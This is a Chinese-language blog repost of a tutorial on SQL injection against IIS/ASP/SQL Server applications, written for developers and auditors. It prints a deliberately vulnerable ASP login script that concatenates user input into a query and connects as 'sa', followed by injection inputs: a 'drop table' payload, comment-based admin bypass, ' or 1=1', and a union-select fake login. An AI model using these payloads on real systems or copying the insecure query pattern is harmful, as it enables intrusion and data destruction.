SQL Server應用程序中的高級SQL注入

摘要:
這份文檔是詳細討論SQL注入技術,它適應於比較流行的IIS+ASP+SQLSERVER平臺。它討論了哪些SQL語句能通過各種各樣的方法注入到應用程序中,並且記錄與攻擊相關的數據確認和數據庫鎖定。

這份文檔的預期讀者爲與數據庫通信的WEB程序的開發者和那些扮演審覈WEB應用程序的安全專家。

介紹:
SQL是一種用於關係數據庫的結構化查詢語言。它分爲許多種,但大多數都鬆散地基於美國國家標準化組織最新的標準SQL-92。典型的執行語句是query,它能夠收集比較有達標性的記錄並返回一個單一的結果集。SQL語言可以修改數據庫結構(數據定義語言)和操作數據庫內容(數據操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。
當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數據寫入到應用程序中去,我們管這種方法定義成SQL注入。

一個典型的SQL語句如下:
Select id,forename,surname from authors
這條語句將返回authors表中所有行的id,forename和surname列。這個結果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要着重指明的是字符串'john'和'smith'被單引號限制。明確的說,forename和surname字段是被用戶提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,
如下:
Forename:jo'hn
Surname:smith
查詢語句變爲:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
當數據庫試圖去執行這個查詢時,它將返回如下錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成這種結果的原因是插入了.作爲定界符的單引號。數據庫嘗試去執行'hn',但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo';drop table authors—
Surname:
結果是authors表被刪除,造成這種結果的原因我們稍後再講。

看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方法會存在幾個困難。第一,並不是所有用戶提供的數據都是字符串。如果用戶輸入的是通過用戶id來查詢author,那我們的查詢應該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個攻擊者可以非常簡單地在數字的結尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在數據庫管理系統JET引擎中,數據可以被使用'#'限定。第二,避免單引號儘管看上去可以,但是是沒必要的,原因我們稍後再講。

我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER數據庫並且嘗試鑑別進入一些虛構的應用程序的權限。
這是一個提交表單頁的代碼,讓用戶輸入用戶名和密碼:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代碼,它是用來控制登陸的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現問題的地方是process_lgin.asp中產生查詢語句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果用戶輸入的信息如下:
Username:';drop table users—
Password:
數據庫中表users將被刪除,拒絕任何用戶進入應用程序。'—'符號在Transact-SQL中表示忽略'—'以後的語句,';'符號表示一個查詢的結束和另一個查詢的開始。'—'位於username字段中是必須的,它爲了使這個特殊的查詢終止,並且不返回錯誤。

攻擊者可以只需提供他們知道的用戶名,就可以以任何用戶登陸,使用如下輸入:
Username:admin'—
攻擊者可以使用users表中第一個用戶,輸入如下:
Username:' or 1=1—
更特別地,攻擊者可以使用完全虛構的用戶登陸,輸入如下:
Username:' union select 1,'fictional_user','some_password',1—
這種結果的原因是應用程序相信攻擊者指定的是從數據庫中返回結果的一部分。

發佈了11 篇原創文章 · 獲贊 1 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章